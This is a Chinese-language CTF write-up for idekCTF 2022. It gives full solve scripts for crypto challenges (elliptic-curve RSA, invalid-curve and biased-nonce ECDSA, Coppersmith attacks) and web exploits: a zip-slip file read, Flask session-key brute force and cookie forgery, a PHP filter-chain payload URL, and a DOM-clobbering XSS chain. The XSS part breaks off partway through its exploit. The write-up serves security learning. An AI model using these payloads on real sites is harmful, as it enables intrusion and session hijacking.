idekCTF 2022 WriteUps

發表於 分類於

這周在 TSJ 裡面參加了這場原本該去年辦的但是延期到現在才辦的 CTF，題目很有趣難度也不低。

crypto

ECRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
p, q = [random_prime(2^512, lbound = 2^511) for _ in range(2)]
e = 3

while gcd(p - 1, e) != 1: p = next_prime(p)
while gcd(q - 1, e) != 1: q = next_prime(q)

n = p*q
d = inverse_mod(e, (p-1)*(q-1))

# d stands for debug. You don't even know n, so I don't risk anything.
print('d =', d)

m = ZZ(int.from_bytes(b"It is UNBREAKABLE, I tell you!! I'll even bet a flag on it, here it is: idek{REDACTED}", 'big'))
t = ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", 'big'))
ym = randint(1, n)
yt = 2

# I like it when my points lie on my curve.
a, b = matrix([[m, 1], [t, 1]]).solve_right([ym^2 - m^3, yt^2 - t^3])
E = EllipticCurve(Zmod(n), [a, b])
M = E(m, ym)
T = E(t, yt)

E.base_field = E.base_ring # fix multiplication over rings (might not work depending on sage version!)
print('Encrypted flag:', M*e)
print('Encrypted test:', T*e)

這邊有 M*e T*e 和 (t,yt) 三個已知的點，取 resultant 就能得到 的倍數，再來因為有 所以可以得到 的倍數，所以和 取 gcd 就能得到精確的 。

然後利用 隨便除一除就能分解 ，之後拿 對 取 inverse 就能拿到 意義下的 ，然後 decrypt 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
e = 3
d = 99193023581616109152177764300040037859521925088272985981669959946817746109531909713425474710564402873765914926441545005839662821744603138460681680285655317684469203777533871394260260583839662628325884473084768835902143240687542429953968760669321064892423877370896609497584167478711224462305776836476437268587
CF = (
    115076663389968253954821343472300155800654332223208277786605760890770425514748910251950393842983935903563187546008731344369976804796963863865102277460894378910744413097852034635455187460730497479244094103353376650220792908529826147612199680141743585684118885745149209575053969106545841997245139943766220688789,
    74232642959425795109854140949498935461683632963630260034964643066394703345139733396470958836932831941672213466233486926122670098721687149917605871805886006479766670309639660332339984667770417687192717160061980507220617662938436637445370463397769213554349920956877041619061811087875024276435043752581073552318,
)
CT = (
    79615329406682121028641446306520032869660130854153788352536429332441749473394735222836513266191300847548366008281109415002581029448905418880962931523411475044527689429201653146200630804486870653795937020571749192405439450656659472253086567149309166068212312829071678837253421625687772396105149376211148834937,
    114576105009077728778286635566905404081211824310970349548035698466418670695753458926421098950418414701335730404414509232776047250916535638430446206810902182305851611221604003509735478943147034397832291215478617613443375140890349118302843641726392253137668650493281241262406250679891685430326869028996183320982,
)

x1, y1 = CF
x2, y2 = CT
x3, y3 = (
    ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", "big")),
    2,
)
P.<aa, bb> = QQ[]
eqs = [
    y1 ^ 2 - (x1 ^ 3 + aa * x1 + bb),
    y2 ^ 2 - (x2 ^ 3 + aa * x2 + bb),
    y3 ^ 2 - (x3 ^ 3 + aa * x3 + bb),
]
res = lambda x, y, z: x.sylvester_matrix(y, z).det()
f = res(eqs[0], eqs[1], aa)
g = res(eqs[0], eqs[2], aa)
n_mul = ZZ(res(f, g, bb))
phik = e * d - 1
n = reduce(gcd, [pow(i, phik, n_mul) - 1 for i in range(2, 10)] + [n_mul])
p = gcd(pow(2, phik // (2 ^ 4 * 5), n) - 1, n)
q = n // p
assert p * q == n
a, b = matrix([[x1, 1], [x2, 1]]).solve_right(vector([y1^2 - x1^3, y2^2 - x2^3]))

E = EllipticCurve(Zmod(n), [a, b])
odp = E.change_ring(GF(p)).order()
odq = E.change_ring(GF(q)).order()
d = inverse_mod(e, odp * odq)
m, _ = (E(CF) * int(d)).xy()
print(int(m).to_bytes(256, "big").strip(b"\x00"))
# idek{Sh3_s3ll5_5n4k3_01l_0n_7h3_5e4_5h0r3}

Formal Security Poop

這題有個自己的 Elliptic Curve 實作，裡面完全沒檢查所以和 invalid curve 有關。而題目本身有一個永久的 key 和 session key ，key exchange 的時候自己也要有永久的 key 和 session key ，然後用 shared secret hash 得到 AES KEY。其中 shared secret 如下:

然後裡面有個用 session key sign 東西的功能，其中 只有 64 bits，而 curve 本身是 secp128r1，所以用 ecdsa biased nonce attack 可以求 ，因此要取得 的問題就變成一個 ECDLP 了。

再來 invalid curve 的部分可以一開始先把 設成 ，那麼 所在的 curve 就會在我們可以自由決定的 的同一條 curve 上，所以只要選一些有 small subgroup 的曲線就能拿到 的一些值，配合 Reinitialize session 功能去更新 就能拿到很多等式，然後 CRT 求出 即可。

唯一要注意的一點是我們並不知道 ，但是因為 AES key 是 的 hash，所以可以設 order 為 subgroup 大小，方便直接爆破 然後解密看看對不對。因為這個方法和一般 BSGS 不同，沒有平方根的加速，所以 subgroup 不能選太大。

預先計算一些有 smooth order 的曲線:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from sage.all import *
from ecc import *

curves = []
FF = GF(p)
grps = []
b = 3
while reduce(lcm, grps, 1) < 2 ** 256:
    EE = EllipticCurve(FF, [E.a, b])
    G = EE.gen(0)
    od = EE.order()
    fs = od.factor()
    subgroups = [f for f, e in fs if f < 2 ** 16 and f > 5]
    grps += subgroups
    if len(subgroups) > 0:
        curves.append((EE, G, od, subgroups))
    print(b, subgroups)
    b += 1
print(reduce(lcm, grps))
print(p)

import pickle
pickle.dump(curves, open("curves.pkl", "wb"))

然後利用那些資料去解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
from sage.all import *
from pwn import remote, process, context
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from tqdm import tqdm
from ecc import *
import pickle

with open("curves.pkl", "rb") as f:
    curves = pickle.load(f)

import sys

sys.path.insert(0, "./lattice-based-cryptanalysis")
from lbc_toolkit import ecdsa_biased_nonce_zero_msb

Point.__repr__ = lambda self: f"({self.x}, {self.y})"


def balanced_mod(x, p):
    x %= p
    if x > p // 2:
        x -= p
    return x


def get_params(P):
    x = P.x
    y = P.y
    x2 = (2 * P).x
    y2 = (2 * P).y
    a, b = matrix(QQ, [[x, 1], [x2, 1]]).solve_right(
        vector([y**2 - x**3, y2**2 - x2**3])
    )
    # return a % p, b % p
    return balanced_mod(a, p), balanced_mod(b, p)


def is_on_curve(P, E):
    return (P.y**2 - P.x**3 - E.a * P.x - E.b) % p == 0


# io = process(["python", "main.py"])
io = remote("formal-security-poop.chal.idek.team", 1337)


def sendpoint(io, P):
    io.sendlineafter(b"x = ", str(P.x).encode())
    io.sendlineafter(b"y = ", str(P.y).encode())


def recvpoint(io):
    io.recvuntil(b"x = ")
    x = int(io.recvline().strip())
    io.recvuntil(b"y = ")
    y = int(io.recvline().strip())
    return Point(E, x, y)


def store(io, aes, owner, secret):
    io.sendlineafter(b">>> ", b"1")
    io.sendlineafter(b"Who are you? ", owner.encode())
    io.sendlineafter(b"secret = ", aes.encrypt(pad(secret, 16)).hex().encode())


def retrieve(io, aes, owner, priv):
    io.sendlineafter(b">>> ", b"2")
    io.sendlineafter(b"Who are you? ", owner.encode())
    t, T = gen_key()
    sendpoint(io, T)
    io.recvuntil(b"c = ")
    c = int(io.recvline().strip())
    s = t + c * priv
    io.sendlineafter(b"s = ", str(s).encode())
    io.recvuntil(b"secret = ")
    ct = bytes.fromhex(io.recvlineS().strip())
    try:
        return unpad(aes.decrypt(ct), 16)
    except ValueError:
        return ct


def dosession(io, x, X):
    sendpoint(io, X)
    B = recvpoint(io)
    Y = recvpoint(io)
    # S = (y + H(Y)*b)*(X + H(X)*A)
    S = (x + H(X) * a) * (Y + H(Y) * B)
    key = sha512(H(S).to_bytes(32, "big")).digest()[:16]
    aes = AES.new(key, AES.MODE_ECB)
    return B, Y, key, aes


def resession(io, x, X):
    io.sendlineafter(b">>> ", b"4")
    return dosession(io, x, X)


def sign(io, owner):
    io.sendlineafter(b">>> ", b"3")
    io.sendlineafter(b"sign? ", owner.encode())
    io.recvuntil(b"r = ")
    r = int(io.recvline().strip())
    io.recvuntil(b"s = ")
    s = int(io.recvline().strip())
    return r, s


# a, A = gen_key()
a, A = 0, E.O
x, X = gen_key()

sendpoint(io, A)
B, Y, key, aes = dosession(io, x, X)

secret = b"flag{peko}"
store(io, aes, "peko", secret)
print(retrieve(io, aes, "peko", a))


def get_y():
    Z = []
    R = []
    S = []
    m = int.from_bytes(sha512(secret).digest(), "big") % p
    for _ in range(4):
        r, s = sign(io, "peko")
        Z.append(ZZ(m))
        R.append(ZZ(r))
        S.append(ZZ(s))
    l = p.bit_length() - 64
    return ecdsa_biased_nonce_zero_msb(Z, R, S, ZZ(p), l)


y = get_y()
print(f"{y = }")

EE, GG, od, subgroups = curves[0]
gsize = subgroups[-1]
print(gsize)

old_aes = aes


def get_bmod(EE, GG, od, gsize):
    cf = od // gsize
    X = Point(E, *[int(x) for x in (cf * GG).xy()])
    B, Y, *_ = resession(io, 0, X)
    y = get_y()
    assert y * G == Y
    ct = retrieve(io, old_aes, "peko", a)
    print(f"{y = }")
    for sol in tqdm(range(1, gsize + 1)):
        S = (y + H(Y) * sol) * (X + H(X) * A)
        key = sha512(H(S).to_bytes(32, "big")).digest()[:16]
        aes = AES.new(key, AES.MODE_ECB)
        try:
            if unpad(aes.decrypt(ct), 16) == secret:
                return sol
            break
        except ValueError:
            pass


def get_b():
    xx = []
    yy = []
    for EE, GG, od, subgroups in curves:
        print("Use", EE)
        for gsize in subgroups:
            if gsize in yy:
                continue
            try:
                sol = get_bmod(EE, GG, od, gsize)
                # for some unknown reason, the result may sometimes be wrong
                # simply re-run the script until you get flag
                if sol is not None:
                    print(f"b = {sol} mod {gsize}")
                    xx.append(sol)
                    yy.append(gsize)
            except:
                pass
    return crt(xx, yy), reduce(lcm, yy)


b, m = get_b()
print(f"b = {b} (mod {m})")
x, X = gen_key()
B, Y, key, aes = resession(io, x, X)
print(retrieve(io, aes, "Bob", b))
io.interactive()
# idek{HMQV_m4d3_K0bl1tz_4ng3ry}

從 flag 可以知道那個 key exchange 是 HMQV: A High-Performance Secure Diffie-Hellman Protocol，不過 HMQV 和 Koblitz 的關係我就不太清楚了，作者 writeup 最後面有些關於這個的連結。

Chronophobia

這題和 RSA timelock 有關，對於一個隨機的 要想辦法計算 的值，其中 。因為 很大所以 repeated squaring 是不行的，需要知道 才行。

另外題目有個 oracle 會計算幫你計算 的值，一共可以呼叫 1337 次。

因為 ，把 和 的未知部分分別記為 可得 。依照這題給的參數來說 ，而 應該相對來說不是很大，直接 coppersmith 看看就出來了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from sage.all import *
from pwn import process, remote
import sys

sys.path.append("./lattice-based-cryptanalysis")

# idk why defund/coppersmith doesn't work...
# need to remove `algorithm='msolve'` from solve_system_with_gb
from lbc_toolkit import small_roots

# io = process(["python", "server.py"])
io = remote("chronophobia.chal.idek.team", 1337)
io.recvuntil(b"token: ")
t = int(io.recvlineS().strip())
io.recvuntil(b"modulus is: ")
n = int(io.recvlineS().strip())
print(f"{n = }")
print(f"{t = }")


def oracle(x):
    io.sendlineafter(b">>>", b"1")
    io.sendlineafter(b"token. ", str(x).encode())
    io.sendlineafter(b"calculation? ", b"-1")
    io.recvuntil(b"ans is ")
    val = int(io.recvuntil(b"...", drop=True))
    io.recvuntil(b"(")
    rem = int(io.recvuntil(b" ", drop=True))
    return val * 10**rem


ft = oracle(t)
ft2 = oracle(t**2)
P = Zmod(n)["x,y"]
x, y = P.gens()
f = (ft + x) * (ft + x) - (ft2 + y)

print(f)
rs = small_roots(f, [10 ** (308 - 200)] * 2, m=2, d=2)
print(rs)
xx, yy = rs[0]
io.sendlineafter(b">>>", b"2")
io.sendlineafter(b"ticket. ", str(ft + xx).encode())
io.interactive()
# idek{St@rburst_str3@m!!!}

# intended: HNP with hidden multiplier

我原本用了 defund/coppersmith 的 small_roots 都做不出來，但是換成了 joseph 的 Lattice-based Cryptanalysis Toolkit 中的 small_roots 就很神奇的成功了。

另外據這題作者蛋捲所說，intended solution 是和 HNP with hidden multiplier 有關的，writeup 在此。

Finite Realm of Random

我連這題是什麼意思都不太懂，所以連解釋都無法解釋 QQ。能做出這題還是自己亂弄弄出來的，所以也請直接讀作者的 writeup。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from random import choice, shuffle, randint
from tqdm import tqdm


def as_poly_of(self, gen):
    L = self.parent()
    d = L.degree()
    V = L.base_ring() ^ d

    vecs = [vector(self)] + [vector(gen ^ i) for i in range(d)]
    dependence = V.linear_dependence(vecs)

    if all(coeffs[0] == 0 for coeffs in dependence):
        raise ArithmeticError(f"Cannot express {self} as a polynomial in {gen}")

    coeffs = next(list(coeffs) for coeffs in dependence if coeffs[0] != 0)
    return L.base_ring()["x"](coeffs[1:]) / -coeffs[0]


with open("out.txt", "r") as f:
    x = bytes.fromhex(f.read())


def get_L(bits):
    L = GF(127)
    for i in range(bits.nbits() - 1):
        L = L["x"].irreducible_element(2, algorithm="random").splitting_field(f"t{i}")
    return L


L = get_L(32)

for i in range(0, len(x), 32):
    M = L(list(map(ZZ, x[i : i + 32])))
    for _ in tqdm(range(200)):
        m = M
        while m == M:
            roots = L.random_element().minimal_polynomial().roots(L)
            shuffle(roots)

            try:
                (r1, _), (r2, _) = roots[:2]
                M = as_poly_of(M, r1)(r2)
            except:
                pass
        if M.polynomial().degree() < 16:
            print(bytes(M.polynomial()).decode())
            break
# idek{4nd_7hu5_5p0k3_G4!015:_7h3_f1n1t3_r34Lm_sh4ll_n07_h4rb0ur_r4nd0mn355,_0n!y_7h3_fr0b3n1u5__}

Decidophobia

這題是一個 Oblivious Transfer 的題目，有個 共 1536 bits 需要分解，然後它會在另一個 768 bits 的 下透過 OT 讓你選 的其中一個拿，但是這題的目標是完全分解 。

Oblivious Transfer 會先生成 三個隨機數傳送給你，然後你需要傳回一個 ，然後它會算:

所以假設說想拿 的話就選 ，然後 就能得到 了。

Intended Solution

這題讓我想起的第一個題目是 zer0pts CTF 2022 - OK 這題，它利用 求得兩個值的加總，以這題來說也就是 ，因為 所以 就是精確的 ，但我想不出一個只用 和 就能分解 的方法。

仔細想一想會發現 都只有 512 bits 左右， 是 728 bits，所以如果讓 的話那麼就有 。為了讓 不要超過 我這邊取 而已。( 也不是不行，但是超過範圍的機率比較高)

所以在不超過的情況下 在整數下成立，也就是說 的 lower bits 是 p 的 lower bits，而 的 higher bits 是 q 的 higher bits，分別給了我們一些資訊，所以自然會想用 coppersmith 看看能不能弄出什麼。

為了方便， 會分別紀成 四個數，其中 已知，所以:

其中的 也是一些常數，所以這邊未知的只有 而已。這邊可以看出有 coppersmith 的雛型，但是因為未知的有 256 bits，而 個別只占 的 而已，因此這邊是 的 coppersmith，根本做不出來。

我這邊再把兩個多項式相乘得到:

這樣它 modulo 的時候就是 0 了，所以 ，但因為是在 multivariate coppersmith 的情況下，bounds 一樣不合，也是做不出來，所以我就在這邊卡了很久 QQ。

後來才發現其實我有沒用到的資訊，也就是 的 middle bits 其實是 的這件事，我們可以把它記為 ，由此可得:

顯然 的根在整數下成立，所以

是一個一元二次多項式，一樣是在 modulo 下 為 0，所以一樣是 ，不過因為這次剩下了一元所以直接 small_roots 就出來了，剩下就能分解整個 解掉這題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from sage.all import *
from pwn import process, remote

# io = process(["python", "server.py"])
io = remote("decidophobia.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"1")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"enc = ")
enc = int(io.recvline())
io.sendlineafter(b">>> ", b"2")
io.sendlineafter(b">>> ", b"2")
io.recvuntil(b"N = ")
N = int(io.recvline())
io.recvuntil(b"x1 = ")
x1 = int(io.recvline())
io.recvuntil(b"x2 = ")
x2 = int(io.recvline())
io.recvuntil(b"x3 = ")
x3 = int(io.recvline())

psplit = 255
qsplit = 512 - psplit + 1
l = 2**psplit
k = pow(l, 0x10001, N)

# https://hackmd.io/@theoldmoon0602/SJrf0HPMq

# v-x1=-k(v-x2)=-kv+kx2
# (k+1)v=kx2+x1

# (v-x1)^d=(-k(v-x2))^d=-(k^d)*(v-x2)^d
# k1=(v-x1)^d=-(k^d)*k2

# k1+(k^d)*k2=0
# c1+(k^d)*c2=p+l*q


v = (k * x2 + x1) * pow(k + 1, -1, N) % N
assert (v - x1) % N == -k * (v - x2) % N
io.sendlineafter(b"response: ", str(v).encode())

io.recvuntil(b"c1 = ")
c1 = int(io.recvline())
io.recvuntil(b"c2 = ")
c2 = int(io.recvline())
io.recvuntil(b"c3 = ")
c3 = int(io.recvline())

s = (c1 + l * c2) % N
pl = s % l  # lower bits are lower bits of p
qh = s >> 513  # upper bits are upper bits of q

P = Zmod(n)["ql, ph"]
ql, ph = P.gens()
pp = ph * (1 << psplit) + pl
qq = qh * (1 << qsplit) + ql
t = (s >> psplit) % (1 << qsplit)  # middle bits are sum of ql+ph

f = pp * qq
g = ql + ph - t
h = f.sylvester_matrix(g, ph).det().univariate_polynomial()
# it should be beta=0.66, but beta=0.33 works and it is faster :thinking:
x = h.monic().small_roots(X=2**qsplit, beta=0.33, epsilon=0.02)[0]
pq = gcd(ZZ(h(x)), n)
r = n // pq
q = ZZ(qq.univariate_polynomial()(x))
p = pq // q
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = pow(0x10001, -1, phi)
ticket = pow(enc, d, n)
io.sendlineafter(b">>> ", b"4")
io.sendlineafter(b"ticket. ", str(ticket).encode())
io.interactive()
# idek{H0n3sty_1s_th3_b3st_p0l1cy?_N0p3_b3c4us3_w3_ar3_h@ck3rs!}

不過雖說最後那邊應該用 beta=0.66，但我使用 beta=0.33 也能弄出答案，而且計算的速度還比較快，有點神奇。

作者 writeup

Unintended Solution

後來和作者聊了一下他說 B6a 的 Mystiz 找到了另一個 Unintended Solution，問了一下也是很有趣。

首先直接取 可以獲得 和 ，而利用剩下的 可列出:

為了一律都只用一個未知數 表達，可以把第二式乘 得到:

因為 已知，而 所以用 Half GCD 就能求出 解掉這題了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from sage.all import *
from pwn import process, remote

# io = process(["python", "server.py"])
io = remote("decidophobia.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"1")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"enc = ")
enc = int(io.recvline())
io.sendlineafter(b">>> ", b"2")
io.sendlineafter(b">>> ", b"2")
io.recvuntil(b"N = ")
N = int(io.recvline())
io.recvuntil(b"x1 = ")
x1 = int(io.recvline())
io.recvuntil(b"x2 = ")
x2 = int(io.recvline())
io.recvuntil(b"x3 = ")
x3 = int(io.recvline())
v = x1
io.sendlineafter(b"response: ", str(v).encode())
io.recvuntil(b"c1 = ")
c1 = int(io.recvline())
io.recvuntil(b"c2 = ")
c2 = int(io.recvline())
io.recvuntil(b"c3 = ")
c3 = int(io.recvline())

e = 0x10001
p = c1
qr = n // p
P = Zmod(N)["qq"]
qq = P.gen()
f = (c2 - qq) ** e - (x1 - x2)
g = (qq * c3 - qr) ** e - qq**e * (x1 - x3)

# https://github.com/rkm0959/rkm0959_implements/tree/main/Half_GCD
def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    x = a.parent().gen()
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x**m)
    b_top, b_bot = b.quo_rem(x**m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ** (m // 2))
    e_top, e_bot = e.quo_rem(x ** (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11


def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)


h = GCD(f, g)
q = ZZ(-h[0] / h[1])
r = qr // q
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = pow(0x10001, -1, phi)
ticket = pow(enc, d, n)
io.sendlineafter(b">>> ", b"4")
io.sendlineafter(b"ticket. ", str(ticket).encode())
io.interactive()
# idek{H0n3sty_1s_th3_b3st_p0l1cy?_N0p3_b3c4us3_w3_ar3_h@ck3rs!}

web

SimpleFileServer

Symlink zip 的一個檔案到 / 就能任意讀檔 (Zip slip)，然後讀 config 可知需要用 server 的起動時間去得到 SECRET_KEY，這部分可以從 server log 拿到，所以稍微爆破一下就能得到 SECRET_KEY，最後把自己 sign 成 admin 拿 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import hashlib
import random
import os
import time
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
from datetime import datetime
from tqdm import tqdm

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
secret_key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

ts = "2023-01-13 23:04:17 +0000"
session = (
    "eyJhZG1pbiI6bnVsbCwidWlkIjoic3VwZXJuZW5lIn0.Y8Kb_g.jokIwc1vZqHsYyVxzi_-7puqIUE"
)

dt = datetime.strptime(ts, "%Y-%m-%d %H:%M:%S %z")
st = (int(dt.timestamp()) + SECRET_OFFSET) * 1000

signer_kwargs = {"key_derivation": "hmac", "digest_method": hashlib.sha1}
serializer = TaggedJSONSerializer()

pbar = tqdm()
while True:
    pbar.update(1)
    random.seed(st)
    secret_key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace(
        "0x", ""
    )
    try:
        print(
            URLSafeTimedSerializer(
                secret_key,
                salt="cookie-session",
                signer_kwargs=signer_kwargs,
                serializer=serializer,
            ).loads(session)
        )
        print(secret_key)
        print(st)
        break
    except:
        pass
    st += 1


tok = URLSafeTimedSerializer(
    secret_key,
    salt="cookie-session",
    signer_kwargs=signer_kwargs,
    serializer=serializer,
).dumps({"admin": True, "uid": "supernene"})
import requests

r = requests.get(
    "http://simple-file-server.chal.idek.team:1337/flag", cookies={"session": tok}
)
print(r.text)
# idek{s1mpl3_expl01t_s3rver}

Paywall

用這個或是這個串一串 PHP filter chain 即可。

1
http://paywall.chal.idek.team:1337/?p=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.8859_3.UTF16%7Cconvert.iconv.863.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.GBK.SJIS%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L5.UTF-32%7Cconvert.iconv.ISO88594.GB13000%7Cconvert.iconv.CP950.SHIFT_JISX0213%7Cconvert.iconv.UHC.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UNICODE%7Cconvert.iconv.ISIRI3342.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dflag

idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}

JSON Beautifier

這題 code 量很少，但也是相當好玩的題目。

/static/js/main.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
window.inputBox = document.getElementById('json-input');
window.outputBox = document.getElementById('json-output');
window.container = document.getElementById('container');

const defaults = {
	opts: {
		cols: 4
	},
	debug: false,
};

const beautify = () => {
	try {
		userJson = JSON.parse(inputBox.textContent);
	} catch (e){
		return;
	};

	loadConfig();
	const cols = this.config?.opts?.cols || defaults.opts.cols;
	output = JSON.stringify(userJson, null, cols);

	console.log(this.config?.opts)
	
	if(this.config?.debug || defaults.debug){
		eval(`beautified = ${output}`);
		return beautified;
	};
	
	outputBox.innerHTML = `<pre>${output}</pre>`
};

const saveConfig = (config) => {
	localStorage.setItem('config', JSON.stringify(config));
};

const loadConfig = () => {
	if (localStorage.hasOwnProperty('config')){
		window.config = JSON.parse(localStorage.getItem('config'))
	};
}

console.log('hello from JSON beautifier!')

inputBox.addEventListener("DOMCharacterDataModified", () => {
	beautify();
});

if((new URL(location).searchParams).get('json')){
	const jsonParam = (new URL(location).searchParams).get('json');
	inputBox.textContent = jsonParam;
};

beautify();

顯然有個 innerHTML 的 XSS，但因為有 CSP script-src 'unsafe-eval' 'self'; object-src 'none'; 所以要想辦法觸發 eval。

首先可以塞個 iframe srcdoc 在裡面再次載入 /static/js/main.js，然後用 DOM clobbering 蓋 config.debug 就能讓他進入 eval。

然而 output 是 JSON.stringify 出來的產物，所以沒辦法正常控制想要執行的 code，因此要找方法 clobbering config.opts.cols 的內容。不過這邊沒辦法使用正常的 DOM Clobbering 技巧直接控制 cols，因為 MDN JSON.stringify 的這一句話要求說 cols 必須是 string 或是 number 才行:

If space is anything other than a string or number (can be either a primitive or a wrapper object) — for example, is null or not provided — no white space is used.

所以看來要找找看有沒有哪個元素有 cols 這個 attribute:

1
2
Object.getOwnPropertyNames(window).filter(x => window[x]?.prototype?.hasOwnProperty('cols'))
// (2) ['HTMLTextAreaElement', 'HTMLFrameSetElement']

其中 textarea 的 cols 只能是數字，不過 frameset 的 cols 可以是 string，所以可以用 frameset 來控制 cols。

最後是 cols 還必須要在 10 個字元以內，因為 MDN 說:

If this is a string, the string (or the first 10 characters of the string, if it's longer than that) is inserted before every nested object or array.

所以 JSON.stringify([0], null, 'eval(name),') 會得到一個 syntax error:

1
2
3
[
eval(name)0
]

不過利用 JSON.stringify(['*/alert(1)//'], null, '/*') 的話就能得到

1
2
3
[
/*"*/alert(1)//"
]

由此就能 XSS 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<script>
	function htmlEscape(str) {
		return str
			.replace(/&/g, '&amp;')
			.replace(/</g, '&lt;')
			.replace(/>/g, '&gt;')
			.replace(/"/g, '&quot;')
			.replace(/'/g, '&#039;')
	}
	const target = 'http://json-beautifier.chal.idek.team:1337/'
	const ht =
		`<div id=json-input>["*/eval(top.name)//"]</div>
